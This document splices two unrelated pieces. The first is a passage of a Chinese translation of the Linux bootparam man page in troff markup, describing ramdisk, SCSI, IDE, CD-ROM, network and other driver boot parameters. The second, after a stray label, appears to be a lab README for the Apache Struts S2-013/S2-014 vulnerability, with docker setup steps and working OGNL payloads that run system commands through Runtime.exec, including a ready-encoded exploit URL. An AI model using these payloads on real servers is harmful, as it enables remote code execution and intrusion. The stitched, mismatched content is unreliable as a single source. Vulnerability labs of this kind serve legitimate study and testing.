age_cluster_fract, age_cluster_min, pageout_weight, bufferout_weight。
只能用于核心控制。
.SS "`buff=N1,N2,N3,N4,N5,N6'"
设置核心缓存管理的 6 个参数,分别是
max_buff_age, buff_advance, buff_decline,
buff_initial_age, bufferout_weight, buffermem_grace。
同样也只能用于核心控制
.SH "使用内存虚拟磁盘的启动参数"
(该参数只在核心使用 CONFIG_BLK_DEV_RAM 进行编译后才有效)
在通常情况下,在 Linux 下使用一个内存虚拟磁盘(RAMDISK)并不是一个好的方法 -
因为系统会自动、高效的使用可用的内存。
但是当用软盘启动的时候(或者当建立一个启动软盘的时候),
将软盘的内容读到一个内存虚拟磁盘中是非常有用的。
另外的情况也有可能是有一些模块(或者是文件系统又或者是硬件的)
必须在主磁盘被访问前被调到内存中来。
在 1.3.48 版本的 Linux 中,ramdisk 的操作被彻底的改变了。
在 1.3.48 以前的版本中,内存是静态分配的,"ramdisk = N" 参数提供内存的大小。
(这些也能够在核心被编译的时候被设置,或者也可以使用
.BR rdev (8).来进行设置)
从 1.3.48 开始,内存虚拟磁盘开始使用高速缓存,而且可以动态的增加其空间。
如果需要了解有关最新的内存虚拟磁盘设置(比如你要了解怎么使用
.BR rdev (8)
来进行ramdisk的设置)
请查看
.IR /usr/src/linux/Documentation/ramdisk.txt .
有关的参数一共有四个,两个是布尔变量,两个是整型值。
.SS "`load_ramdisk=N'"
如果 N=1,载入一个内存虚拟磁盘。如果 N=0,不载入内存虚拟磁盘(这是缺省值)。
.SS "`prompt_ramdisk=N'"
如果 N=1,需要提示插入软盘。(这是缺省值)
如果 N=0,没有提示。(因此,这个参数永远也不会需要)
.SS "`ramdisk_size=N' 或者 `ramdisk=N'
设置内存虚拟磁盘的最大空间为 N kB。缺省值是 4096 kB (4MB)。
.SS "`ramdisk_start=N'"
设置启动块数值(也就是内存虚拟磁盘从软盘的多少偏移量位置开始)为 N。
由于紧跟在内存虚拟磁盘后面的是核心映象文件,所以这个设置是必要的。
.SS "`noinitrd'"
(只有核心在编译时使用了 CONFIG_BLK_DEV_RAM 标志和
CONFIG_BLK_DEV_INITRD 标志时才会有效)
目前,我们基本上可以通过编译核心使其支持使用初始化内存虚拟磁盘
(initrd:Initial Ramdisk)。当启用 initrd 的时候,
启动进程会载入核心和一个已经初始化的内存虚拟磁盘,
然后核心会将 initrd 转变为一个"普通的"内存虚拟磁盘,
并将它激活为可读写的根设备。接下来,会被执行 /linuxrc,
"真正的"根文件系统被激活,而 initrd 文件系统则被转移到 /initrd 目录下。
最后顺序执行正常的启动程序(比如说是 /sbin/init 程序)。
如果希望得到关于 initrd 的详细的介绍,可以参考
.IR /usr/src/linux/Documentation/initrd.txt.
自然,'noinitrd' 参数告诉核心,尽管核心是按照使用 initrd 的参数来编译的,
但是也不需要使用我们上面描述的过程。但是,仍然保留 initrd 的所有数据到
.IR /dev/initrd .
目录下。
(该设备只能被使用一次,数据在最后一个使用 initrd 的进程被关闭后会释放掉)
.IR /dev/initrd .)
.SH "SCSI设备启动参数"
关于这个区域的一些符号说明:
.I iobase
第一个SCSI主设备占用的I/O端口。它用 16 进制的数据指定,一般介于 0x200 到 0x3ff 之间。
.I irq
SCSI 卡设置的硬件中断号。具体的值取决于 SCSI 卡的具体要求,
一般使用的中断号是 5,7,9,10,11,12 和 15。
其他的中断号一般会被一些外设所占用,比如说,IDE 接口的硬盘,软盘驱动器,串口等等。
.I scsi-id
SCSI 适配器在 SCSI 总线上使用的用来标识自身的识别号码(ID)。
只有一部分 SCSI 适配器允许你改动该 ID 的值,大部分都是被固化好的。
缺省值一般是 7,可是,在 Seagate 和Future Domain TMC-950 的板卡上是 6。
.I parity
是否允许 SCSI 适配器在交换数据的时候使用奇偶效验。
指定一个非零值,奇偶效验会起用,如果指定为零则不会启动奇偶效验。
同样,不是所有的 SCSI 适配卡支持选择奇偶效验的启动参数。
.SS "`max_scsi_luns=...'"
一个 SCSI 设备能够使用一些包括它自己在内的"子设备"。
最常用的例子是现在的 SCSI CD-ROM 设备能够同时处理多张光盘。
每张光盘使用"逻辑单元号码"(LUN)来确定其位置。
当然,大部分设备,比如硬盘,磁带机都只能处理一个设备,因此它们的 LUN 会被设置为 0
一些设计上有缺陷的 SCSI 设备一旦发现 LUN 号码不为零时,就可能不再继续工作。
因此,如果在编译的时候没有设置 CONFIG_SCSI_MULTI_LUN 标志,
新的核心将使用 0 作为缺省值。
如果需要在启动的时候指定 LUN 的值,可以使用 "max_scsi_luns=n" 作为启动参数,
而 n 是一个大于 1 小于 8 的数值。
为了避免上面描述的问题,使用 n=1 可以避免那些设备的造成的错误。
.SS "SCSI 磁带配置"
一些 SCSI 磁带设备的启动设置能够使用下面的格式来进行:
.IP
.BI st= buf_size[,write_threshold[,max_bufs]]
.LP
前面的两个数字指定单元的大小(kB),缺省的值
.I buf_size
是 32kB,最大的值可以指定为 16384kB。
.I write_threshold
是磁带得到的缓存区大小,缺省的是 30kB。
其最大的缓存值依据不同的驱动设备的个数而得到不同的值,缺省值是两个设备。
缺省的格式可能象下面这样
.IP
st=32,30,2
.LP
你能够在核心源码的 scsi 目录下的 README.st 中看到所有的细节。
.SS "Adaptec aha151x, aha152x, aic6260, aic6360, SB16-SCSI 配置"
在这一句中 aha 数值代表适配卡类型,aic 数值表示适配卡的 SCSI 芯片类型,
也包括象 Soundblaster-16 这样的 SCSI 设备。
SCSI 主设备探测程序将从已经安装好的 BIOS 中进行查找,
如果没有的话,该检测将不会找到你的设备。
那么,你就必须使用以下格式的启动参数:
.IP
.BI aha152x= iobase[,irq[,scsi-id[,reconnect[,parity]]]]
.LP
如果驱动程序是以调试模式编译的话,第六个值能够被指定设置调试的级别。
其他的参数已经在上面描述过了。值得一提的是
.I reconnect
参数如果是非零值就能够允许设备"断连和重新连接"。下面是一个例子。
.IP
aha152x=0x340,11,7,1
.LP
要注意到的是参数必须按指定的顺序来设定,
这意味着如果你需要指定奇偶参数的话你就必须指定其他的所有参数。
.SS "Adaptec aha154x 配置"
aha1542 系列的适配卡上有一个 i82077 软盘控制器,aha1540 系列的卡没有。
这种卡叫做总线主控卡,它们能够通过参数的设置"合理"的与其他设备共享总线。
它们的启动参数就象下面这样:
.IP
.BI aha1542= iobase[,buson,busoff[,dmaspeed]]
.LP
通常可用的 iobase 值会是 0x130,0x134,0x230,0x234,0x330,0x334 其中的一个。
兼容的卡能够允许使用其他值。
.IR buson ", " busoff
值表示的是该卡占用 ISA 总线的时间(以微秒计)。缺省值是 11 微秒开,4 微秒关,
这样其他的卡(比如说基于 ISA 总线的 LANCE 以太网卡)就能够有机会访问 ISA 总线。
.I dmaspeed
值代表直接存储访问 (DMA) 的传输速度 (以MB/秒为单位)。
缺省值是 5MB/秒。
较新版本的卡允许你使用软件设置来选择该值,老版本的卡使用跳线来设置。
如果你的主板支持的话,你能够将该值提高到 10MB/秒。
如果使用 5MB/秒以上的传输速度,你就应该进行很小心的实验。
.SS "Adaptec aha274x, aha284x, aic7xxx 配置"
这些板卡能够接受象下面这样格式的参数:
.IP
.BI aic7xxx= extended,no_reset
.LP
.I extended
值,如果是非零的话,表明大容量磁盘的扩展转换模式可以被使用。而
.I no_reset
值如果是非零的话,告诉驱动程序在设置 SCSI 卡后重新启动时不要重新设置 SCSI 总线。
.SS "AdvanSys SCSI Hosts configuration (`advansys=')"
AdvanSys 驱动程序能够接收(最多) 4 个 I/O 地址用于来探测 AdvanSys SCSI 卡。
要注意的是这些值(如果使用了它们)并不会对 EISA 总线或者 PCI 总线的检测有任何作用。
它们只能用来检测 ISA 总线和 VLB 总线型的卡。
另外,如果驱动程序是使用调试模式编译的话,
调试级别能够通过加入一个 0xdeb[value] 参数来设定。
value 可以是 0-f(16进制),代表可以得到多达 16 个级别的调试信息。
.SS "AM53C974"
.IP
.BI AM53C974= host-scsi-id,target-scsi-id,max-rate,max-offset
.LP
.SS "BusLogic SCSI Hosts 配置 (`BusLogic=')"
.IP
.BI BusLogic= N1,N2,N3,N4,N5,S1,S2,...
.LP
作为更深层次的讨论,我们来分析一下 BusLogic 命令行参数,参考一下
.IR /usr/src/linux/drivers/scsi/BusLogic.c
(在我看的核心版本中是3149-3270行). 下面的文字是一段精辟的摘录
参数 N1-N5 是整数。参数 S1 是字符串。N1 是适配卡的 I/O 地址。
N2 是标记队列深度(Tagged Queue Depth),
是为那些支持标记队列(Tagged Queue)的目标设备而设置的。
N3 是总线停滞时间(以秒计),
这是表示从 SCSI 适配卡重新启动 SCSI 总线到发出一个 SCSI 指令之间的时间。
N4 是区域选项(只适合特定的单个适配卡)
N5 是全局选项(针对所有的适配卡)
字符串参数用来对于标记队列控制
(TQ:Default,TQ:Enable,TQ:Disable,TQ:<Per-Target-Spec>),
出错处理(ER:Default,ER:HardReset,ER:BusDeviceReset,ER:None,ER:<Per-Target-Spec>)
和适配卡检测(NoProbe,NoProbeISA,NoProbePCI)。
.SS "EATA/DMA 配置"
缺省的需要检测的 I/O 端口能够使用以下的参数来改变:
.IP
.BI eata= iobase,iobase,... .
.LP
.SS "Future Domain TMC-16x0 配置"
.IP
.BI fdomain= iobase,irq[,adapter_id]
.LP
.SS "Great Valley Products (GVP) SCSI 控制器配置"
.IP
.BI gvp11= dma_transfer_bitmask
.LP
.SS "Future Domain TMC-8xx, TMC-950 配置"
.IP
.BI tmc8xx= mem_base,irq
.LP
在这里,
.I mem_base
值是卡所使用的内存映射的 I/O 区域值。
常见的值会是 0xc8000,0xca000,0xcc000,0xce000,0xdc000,0xde000。
.SS "IN2000 配置"
.IP
.BI in2000= S
.LP
这里 S 是一个用逗号分隔的关键字 [:值]
可以被识别的关键字(有可能伴随着值)是:
ioport:addr, noreset, nosync:x, period:ns, disconnect:x,debug:x, proc:x.
如果你要了解这些参数的功能的话,请看
.IR /usr/src/linux/drivers/scsi/in2000.c .
.SS "NCR5380 和 NCR53C400 配置"
这个启动参数遵循以下的格式
.IP
.BI ncr5380= iobase,irq,dma
.LP
或者
.IP
.BI ncr53c400= iobase,irq
.LP
如果卡没有使用中断,那么 IRQ 值 255(0xff)将被用来屏蔽中断。
IRQ 值 254 表示自动检测,更多的细节可以从下面的文档中得到。
.IR /usr/src/linux/drivers/scsi/README.g_NCR5380 .
.SS "NCR53C8xx 配置"
.IP
.BI ncr53c8xx= S
.LP
这里 S 是一个用逗号分隔的关键字 [:值]
可以被识别的关键字(有可能伴随着值)是:
mpar (master_parity), spar (scsi_parity),disc (disconnection),
specf (special_features), ultra (ultra_scsi),fsn (force_sync_nego),
tags (default_tags), sync (default_sync),
verb (verbose), debug (debug), burst (burst_max).
如果需要了解这些值的功能,请参考
.IR /usr/src/linux/drivers/scsi/ncr53c8xx.c .
.SS "NCR53c406a 配置"
.IP
.BI ncr53c406a= iobase[,irq[,fastpio]]
.LP
指定 irq = 0 适用于无中断驱动模式。
设置 fastpio = 1 设置为快速的处理器 I/O(PIO)模式,0 是慢速的处理器 I/O(PIO)模式。
.SS "IOMEGA PPA3 配置"
.IP
.BI ppa= iobase[,speed_high[,speed_low[,nybble]]]
.LP
这里 iobase 的值是并口的地址(缺省值是 0x378),
speed_high 是在数据处理时延迟时间(以微秒为单位,缺省值是 1),
speed_low 是端口其他状态下的延迟时间(以微秒为单位,缺省值是 6),
nybble 是一个 BOOL 值,表示是不是强制使用半个字节(4个位)的工作模式,
缺省值是"假"。
更多细节请参考
.IR /usr/src/linux/drivers/scsi/README.ppa .
.SS "Pro Audio Spectrum 配置"
PAS16 适配卡使用 NC5380 SCSI 芯片,较新的版本支持免跳线模式。启动参数是下列格式:
.IP
.BI pas16= iobase,irq
.LP
不同点是你可以指定 IRQ 的值是 255,
这样你就可让驱动程序不要使用中断,当然这样会降低性能。
通常 iobase 的值是0x388。
.SS "Seagate ST-0x 配置"
如果你的卡没有在启动的时候被检测到,你需要使用下面格式的启动参数:
.IP
.BI st0x= mem_base,irq
.LP
这里
.I mem_base
值是卡所使用的内存映射的 I/O 区域值。
通常的值会是 0xc8000,0xca000,0xcc000,0xce000,0xdc000,0xde000。
.SS "Trantor T128 配置"
这种卡也是使用 NCR5380 芯片组,并且接受以下的选项:
.IP
.BI t128= mem_base,irq
.LP
.I mem_base
的值0xc8000,0xcc000,0xdc000,0xd8000。
.SS "UltraStor 14F/34F 配置"
检测出的缺省的 I/O 端口列表能够被
.IP
.BI eata= iobase,iobase,... .
.LP
所改变。
.SS "WD7000 配置"
.IP
.BI wd7000= irq,dma,iobase
.LP
.SS "Commodore Amiga A2091/590 SCSI 控制器配置"
.IP
.BI wd33c93= S
.LP
这里 S 是一个用逗号分隔的字符串选项。
可以被识别的选项字是:
nosync:bitmask, nodma:x, eriod:ns, disconnect:x, debug:x, clock:x, next.
详细说明请参考
.IR /usr/src/linux/drivers/scsi/wd33c93.c .
.SH "硬盘驱动器"
.SS "IDE 硬盘驱动器/光驱驱动程序参数"
IDE 驱动程序可以接受的参数有很多,
其范围包括从磁盘规格到有缺陷的控制器芯片的支持。
指定驱动程序参数的同时需要使用 "hdX=" 的格式来指定驱动器。
X 的范围是从 "a" 到 "h"。
非驱动器选项使用前缀 "hd=" 来指定。
注意如果将驱动器选项作用于非驱动器选项也可以工作,
而且选项也能够象你所期望的那样被应用。
同时还要注意到的是 "hd=" 格式也能够用于按照规定的顺序(从 a 到 h)
检索到下一个没有指定的驱动器。在下面的讨论中,我们可以看到 "hd=" 选项将会被短暂的引用。
需要了解更多细节的话,参考 linux/drivers/block 目录下的 README.ide
.SS "`hd=cyls,heads,sects[,wpcom[,irq]]' 选项"
这些选项用来指定磁盘的物理参数。前面三个参数是必须的。
柱面/磁头/磁道三个参数将被 fdisk 程序所使用。
如果是 IDE 的硬盘驱动器,"写补偿"值会被忽略掉。
指定的 IRQ 值是接口程序所使用的,所以其实并不能被称为真正意义上的指定的驱动器参数。
.SS "`hd=serialize' 选项"
具有双 IDE 接口的 CMD-640 芯片在设计上是有缺陷的。
这个缺陷是当第二个接口与第一个接口被同时使用时,将会破坏你的数据。
使用这个选项能够使你的接口永远不会同时使用。
.SS "`hd=dtc2278'选项"
这个选项告诉驱动程序你拥有一个 DTC-2278D 的 IDE 接口。
驱动程序就会试图使用 DTC 的指定操作来激活第二个接口并启动快速传送模式。
.SS "`hd=noprobe'选项"
不要检测该硬盘驱动器。例如,
.IP
hdb=noprobe hdb=1166,7,17
.LP
将会屏蔽掉检测,可是仍然指定了驱动器的物理参数,
因为这样才能够将驱动器登记成为一个有效的、可用的块设备。
.SS "`hd=nowerr'选项"
一些驱动器具有 WRERR_STAT 位,并且永久有效。这个选项忽略该位。
.SS "`hd=cdrom'选项"
这个选项告诉 IDE 驱动程序有一个 ATAPI 兼容的光盘驱动器。
在大部分情况下光盘驱动器会被自动的识别,
但是对于不能识别的光盘驱动器来说,
这个选项是很有用的。
.SS "标准的 ST-506 磁盘驱动程序参数 (`hd=')"
标准的磁盘驱动程序可以接受磁盘的物理参数,就象上面的 IDE 设备那样。
注意无论怎样它都只希望接受三个参数(柱面/磁头/磁道)-- 过多或过少的参数都会被忽略掉。
当然,它只接受 "hd=" 这样的参数,象 "had=" 参数这样的在这里是无效的。下面是它的格式:
.IP
hd=cyls,heads,sects
.LP
如果装有两个磁盘驱动器,上面的工作需要重复的进行以配置第二个磁盘驱动器。
.SS "XT 磁盘驱动程序参数 (`xd=')"
如果你不幸使用了一些些老掉牙的、8 位的和使用惊人的 125kB/s 传输速度的卡,
这些参数会对你有帮助。
如果它们不能被识别的话,你只能使用以下格式的启动参数:
.IP
xd=type,irq,iobase,dma_chan
.LP
type 值指定该卡的制造厂商,下面是厂商的值及对应的名字:
0= 普通卡; 1=DTC; 2,3,4=Western Digital,5,6,7=Seagate; 8=OMTI.
同一厂家出厂的不同类型的卡的区别由 BIOS 字符串来指定,如果指定 type,这些也就没有用了。
函数 xd_setup() 不检查这些值,并且会假设你已经输入了全部的四个值。
不要让它失望。
这里有一个 WD1002 控制器示范用法--假设 BIOS 被关掉/移走了--使用缺省的 XT 控制参数
.IP
xd=2,5,0x320,3
.LP
.SS "Syquest's EZ*可移动磁盘"
.IP
.BI ez= iobase[,irq[,rep[,nybble]]]
.LP
.SH "IBM MCA总线设备"
请同时参考
.IR /usr/src/linux/Documentation/mca.txt .
.SS "PS/2 ESDI hard disks"
有可能按下面的方法在启动时指定你所需要的磁盘物理参数。
.IP
.BI ed= cyls,heads,sectors.
.LP
对于ThinkPad-720, 要加上下面的选项
.IP
.BR tp720=1 .
.LP
.SS "IBM Microchannel SCSI Subsystem 配置"
.IP
.BI ibmmcascsi= N
.LP
这里 N 是子系统的\fIpun\fP (SCSI ID)
.SH "CD-ROMs (Non-SCSI/ATAPI/IDE)"
.SS "Aztech 接口"
语法是:
.IP
aztcd=iobase[,magic_number]
.LP
如果你设置 magic_number 值为0x79,
那么该驱动程序尝试在任何一个未知的固件上面执行。其他的值都会被忽略掉。
.SS "MicroSolutions `backpack' 光驱接口"
语法:
.IP
bpcd=iobase
.LP
.SS "CDU-31A 和 CDU-33A Sony 接口"
这种光盘驱动器的接口会出现在一些 Pro Audio Spectrum 声卡及
其他支持 Sony 驱动接口的卡上。语法是:
.IP
cdu31a=iobase,[irq[,is_pas_card]]
.LP
指定一个为 0 的 IRQ 告诉驱动程序该硬件不支持中断(如一些 PAS 卡)。
如果你的卡支持中断,就要使用它们,这样可以减少驱动程序的 CPU 占用时间。
对于
.I is_pas_card
选项来说,如果使用 Pro Audio Spectrum 的卡则应该输入 "PAS",否则就不需要指定了。
.SS "CDU-535 Sony 接口"
该光盘驱动器接口的语法如下
.IP
sonycd535=iobase[,irq]
.LP
如果你要指定 IRQ 值的话,0 可以被当成一个标志位被填到 I/O 地址中。
.SS "GoldStar 接口"
该光盘驱动器的接口语法是:
.IP
gscd=iobase
.LP
.SS "ISP16 光驱接口"
语法:
.IP
isp16=[iobase[,irq[,dma[,type]]]]
.LP
(三个整数值,一个字符串)。如果 type 的值是 "noisp16" 的话,接口不会被配置。
其他可以被接受的 type 值包括: `Sanyo", `Sony', `Panasonic' 和 `Mitsumi'.
.SS "Mitsumi标准接口"
这种光盘驱动器接口的语法是:
.IP
mcd=iobase,[irq[,wait_value]]
.LP
这里
.I wait_value
被用来设置为内部故障的超时时间。能否实现还需要依靠在编译时的定义而定。
Mitsumi FX400 是一种不使用 mcd 驱动程序的 IDE/ATAPI 光盘驱动器。.
.SS "Mitsumi XA/MultiSession接口"
这是与我们上面介绍的一样的硬件,只不过该驱动程序拥有更多的特性。
语法:
.IP
mcdx=iobase[,irq]
.LP
.SS "Optics Storage 接口"
语法为:
.IP
optcd=iobase
.LP
.SS "Phillips CM206 接口"
语法是:
.IP
cm206=[iobase][,irq]
.LP
该驱动程序会假定所给的 3 到 11 之间的值是设置的 IRQ 值,
数值在 0x300 到 0x370 之间的值是 I/O 端口号,
因此你可以指定一个,或者可以指定两个,且没有特殊的位置要求。
它也接受 "cm206=auto" 参数来实现自动检测。
.SS "The Sanyo 接口"
语法是:
.IP
sjcd=iobase[,irq[,dma_channel]]
.LP
.SS "SoundBlaster Pro 接口"
语法是:
.IP
sbpcd=iobase,type
.LP
这里 type 是下面这些字符串的一种(大小写敏感的):
`SoundBlaster', `LaserMate', 或 `SPEA'.
I/O 地址是光盘驱动器接口的,并不是声卡的一部分。
.SH "以太网络设备"
不同的驱动程序使用不同的参数,但是至少它们都会要使用一个 IRQ,一个 I/O 端口地址,
一个名字。下面是最为普遍的参数设置格式:
.IP
ether=irq,iobase[,param_1[,...param_8]],name
.LP
第一个非数值的参数被作为名字使用。
param_n 的值(如果可以使用的话)对于不同的卡/驱动程序来说往往具有不同的含义。
典型的 param_n 的值用来指定象共享的内存地址,接口选择,DMA 通道等等。
该参数最普遍的用法是强迫进行第二以太网卡的检测。
因为作为缺省的情况来说,内核只是检测第一块以太网卡。
下面是实现第二以太网卡检测的简单方法:
.IP
ether=0,0,eth1
.LP
注意这里 IRQ 和 I/O 的值都是 0,这个表示值需要进行自动检测。
以太网的 HowTo 文件对于多网卡的使用,网卡/驱动程序的指定,
param_n 数值的使用都有详细的介绍。
有兴趣的读者可以参考该文档中对自己拥有的卡的说明。
.SH "软盘驱动器驱动程序"
软盘驱动程序选项有很多,它们在 linux/drivers/block 目录下的 README.fd 中列举出来。
这些信息就是摘自那个文件。
.SS "floppy=mask,allowed_drive_mask"
设置允许进行掩码设置的驱动程序将掩码设置为 mask。
在缺省情况下,只有每个软盘控制器的 0 号和 1 号单元允许这样做。
这样规定的原因是有一些非标准的硬件(华硕的 PCI 主板)在访问 2 号或者 3 号单元时,
会令键盘发生问题。该选项差不多已被 cmos 选项所取代了。
.SS "floppy=all_drives"
为所有的软盘驱动器设置驱动器掩码。
如果你在一个软盘控制器上拥有两个驱动器的话,你就可以这么做。
.SS "floppy=asus_pci"
设置掩码为只允许 0 号和 1 号单元。(缺省值)
.SS "floppy=daring"
告诉软盘驱动程序你有一个比较好的软盘控制器。
这样的设置可以使你的设备运行得更加有效和顺利,
但是对于某些特定的控制器,这可能会引起错误,也可能会加快某些操作的速度。
.SS "floppy=0,daring"
告诉软盘驱动程序你的软盘控制器需要谨慎的运行。
.SS "floppy=one_fdc"
告诉软盘驱动程序你只有一个软盘控制器。(缺省值)
.SS "floppy=two_fdc or floppy=address,two_fdc"
告诉软盘驱动程序你拥有两个软盘控制器。第二个控制器假设位于 address 值。
如果 address 的值没有给出的话,0x370 被当成假想位置。
.SS "floppy=thinkpad"
告诉软盘驱动程序你有一个 Thinkpad 电脑。Thinkpad 的磁盘变更线路与通常的机器相反。
.SS "floppy=0,thinkpad"
告诉软盘驱动程序你没有一个 Thinkpad 电脑。
.SS "floppy=drive,type,cmos"
设置 CMOS 的类型为 type 值。条件是驱动器在掩码中被置"允许"。
如果你有两个以上的软盘驱动器(在实际的 CMOS 设置中只能设置两个),
或者你的 BIOS 使用的是非标准的 CMOS 类型,这是非常有用的。
把前面两个软盘驱动器的 CMOS 设置为 0(缺省值)
使得软盘驱动程序从实际的 CMOS 设置中读取它们的信息。
.SS "floppy=unexpected_interrupts"
当接收到一个异常时显示相应的消息。(缺省行为)
.SS "floppy=no_unexpected_interrupts or floppy=L40SX"
如果出现异常,也不要提示。IBM L40SX 在某些特定的显示模式下需要这个选项。
(这看起来象是视频和软盘之间有某种交互关系。
异常中断只会影响性能,所以能够被安全的忽略)
.SH "声卡驱动程序"
声卡驱动程序也能够接受启动参数来替代编译时使用的值。
这种方法并不值得推荐,因为这样会更复杂。
参数说明在 /linux/drivers/sound/Readme.Linux 文件中描叙。它接受如下格式的启动参数:
.IP
sound=device1[,device2[,device3...[,device10]]]
.LP
这里每个 deviceN 是类似于 0xTaaaId 这样格式的值,其中各字符表示为:
T - 设备类型: 1=FM, 2=SB, 3=PAS, 4=GUS, 5=MPU401, 6=SB16,
7=SB16-MPU401。
aaa - 16 进制的 I/O 地址。
I - 16 进制表示的中断地址 。
d - DMA 通道号。
这样的格式看起来是很混乱的,你最好在编译的时候就使用你知道的值。
使用 "sound=0" 的参数将会完全屏蔽声卡驱动程序。
.SH "ISDN 驱动程序"
.SS "ICN ISDN 驱动程序"
语法:
.IP
icn=iobase,membase,icn_id1,icn_id2
.LP
这里 icn_id1 和 icn_id2 是两个字符串,用来为核心消息提供卡的名字。
.SS "PCBIT ISDN 驱动程序"
语法:
.IP
pcbit=membase1,irq1[,membase2,irq2]
.LP
这里 membaseN 是第 N 块卡其共享内存的地址,irqN 是第 N 块卡的中断值。
缺省值是 IRQ 5 和内存地址 0xD0000。
.SS "Teles ISDN 驱动程序"
语法:
.IP
teles=iobase,irq,membase,protocol,teles_id
.LP
这里 iobase 是卡的 I/O 端口地址,membase,irq 的意义与上面的一样,
teles_id 是唯一的 ASCII 字符串标识。
.SH "串口驱动程序"
.SS "RISCom/8 多串口驱动程序 (`riscom8=')"
语法:
.IP
riscom=iobase1[,iobase2[,iobase3[,iobase4]]]
.LP
更多的细节请参考
.IR /usr/src/linux/Documentation/riscom8.txt .
.SS "DigiBoard 驱动程序 (`digi=')"
如果该选项被使用,则应该使用 6 个参数。
语法:
.IP
digi=status,type,altpin,numports,iobase,membase
.LP
参数可以是整数值,也可以是字符串值。
如果使用了字符串,则 iobase 和 membase 参数需要使用 16 进制的形式。
整型参数值按顺序为:
status (允许(1) 或屏蔽(0)该卡),
type (PC/Xi(0), PC/Xe(1), PC/Xeve(2), PC/Xem(3)),
altpin (允许(1)或屏蔽(0) alternate pin排列),
numports (该卡的端口数目),
iobase (该卡设置的I/O 端口号 (16进制)),
membase (内存窗口的基地址(16进制)).
所以,下面两个不同格式的参数形式其实是一样的:
.IP
digi=E,PC/Xi,D,16,200,D0000
.br
digi=1,0,0,16,0x200,851968
.LP
更多的细节请参考
.IR /usr/src/linux/Documentation/digiboard.txt .
.SS "Baycom 串/并口无线 Modem"
语法:
.IP
baycom=iobase,irq,modem
.LP
只有三个参数;如果有多张卡,就使用多个该命令。
modem 参数是一个字符串,值是 ser12,ser12*,par96,par96* 中的一个。
这里 "*" 代表使用软件 DCD。ser12 和 par96 用来选择所支持的 modem 类型。
更多的细节请参考
.IR /usr/src/linux/drivers/net/README.baycom .
.SS "Soundcard 无线 Modem 驱动程序"
语法:
.IP
soundmodem=iobase,irq,dma[,dma2[,serio[,pario]]],0,mode
.LP
除了最后一个参数以外其他的都是整型值;
你可能注意到参数中有一个 0,需要该数值是因为在设置代码中有一个错误。
模式参数是一个字符串,其语法是 hw:modem。
这里 hw 是"sbc","wss","wssfdx" 中的一个值,modem 是 "afsk1200","fsk9600"
中的一个值。
.SH "打印驱动程序"
.SS "`lp='"
对于 1.3.75 版本以后的核心来说,
你可以告诉打印驱动程序你使用了或没有使用哪个并行端口。
如果你不想让打印驱动程序取得所有可用的并口,后者是非常有用的,
这样其他的驱动程序(比如说 PLIP,PPA)就能够使用那些端口。
参数的格式是多个 I/O 地址及 IRQ 对。举例来说,
lp=0x3bc,0,0x378,7 将使用位于 0x3bc 地址的端口,
"无 IRQ" (轮询 IRQ) 模式,然后使用位于 0x378 地址,IRQ 为 7 的端口。
位于地址 0x278 的端口(如果有的话)不会被检测,
因为自动检测模式只发生于没有 "lp=" 参数的情况下。
如果需要屏蔽打印驱动程序的话,使用 lp=0 就可以实现。
.SS "WDT500/501驱动程序"
语法:
.IP
wdt=io,irq
.LP
.SH "鼠标驱动程序"
.SS "`bmouse=irq'"
总线型鼠标驱动程序只能接受一个参数,也就是该硬件需要的 IRQ 值。
.SS "`msmouse=irq'"
对于微软兼容鼠标来说参数与前面总线鼠标是一样的。
.SS "ATARI鼠标设置"
.LP
atamouse=threshold[,y-threshold]
.IP
如果只有一个参数,该参数同时代表 x 起点坐标和 y 起点坐标。
如果有两个参数,则第一个是 x 起点坐标,第二个是 y 起点坐标。
这些值必须是在 1 到 20 之间(包括 20);缺省值是 2。
.SH "视频设备"
.SS "`no-scroll'"
该选项告诉控制台驱动程序不要使用硬件滚动模式
(滚动模式在将屏幕图象移动到图形储存器中而不是移动数据时非常有效)。
一些 Braille 机器会需要它的。
.SH 作者
Linus Torvalds
.SH "参考"
.BR klogd (8),
.BR lilo.conf (5),
.BR lilo(8),
.BR mount(8),
.BR rdev(8).
该手册页的大部分内容来自 Paul Gortmaker 写的 Boot Parameter HowTo(1.0.1)版本。
在该 HowTo 中还可以找到更多的有关信息。
.SH "[中文版维护人]"
.B billpan <billpan@yeah.net>
.SH "[中文版最新更新]"
.BR 2000/11/06
.SH "《中国linux论坛man手册页翻译计划》:"
.BI http://cmpp.linuxforum.net
|
sec-knowleage
|
# S2-013/S2-014 Remote Code Execution Vulnerablity
[中文版本(Chinese version)](README.zh-cn.md)
Affected Version: 2.0.0 - 2.3.14.1
Details:
- http://struts.apache.org/docs/s2-013.html
- http://struts.apache.org/docs/s2-014.html
## Setup
```
docker compose build
docker compose up -d
```
## Reference
The Struts2's tag, `<s:a>` and `<s:url>`, provide an includeParams attribute.The main scope of that attribute is to understand whether includes http request parameter or not.
The allowed values of includeParams are:
1. none - include no parameters in the URL (default)
2. get - include only GET parameters in the URL
3. all - include both GET and POST parameters in the URL
When `includeParams=all`, the GET and POST parameters of this request are placed on the GET parameter of the URL. During this process, the parameters will be parsed by OGNL expressions. It cause the command execution.
Remote Code Execution POC:
```
${(#_memberAccess["allowStaticMethodAccess"]=true,#a=@java.lang.Runtime@getRuntime().exec('id').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#out=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#out.println(#d),#out.close())}
// 或
${#_memberAccess["allowStaticMethodAccess"]=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())}
```
Example:`http://your-ip:8080/link.action?a=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec('id').getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println('dbapp%3D'%2Bnew%20java.lang.String(%23d))%2C%23out.close()%7D`

S2-014 is a correction to S2-013. Because when S2-013 is fixed, the execution method of OGNL expression such as ${ognl_exp} is ignored, and S2-014 is an enhanced patch for it.
```
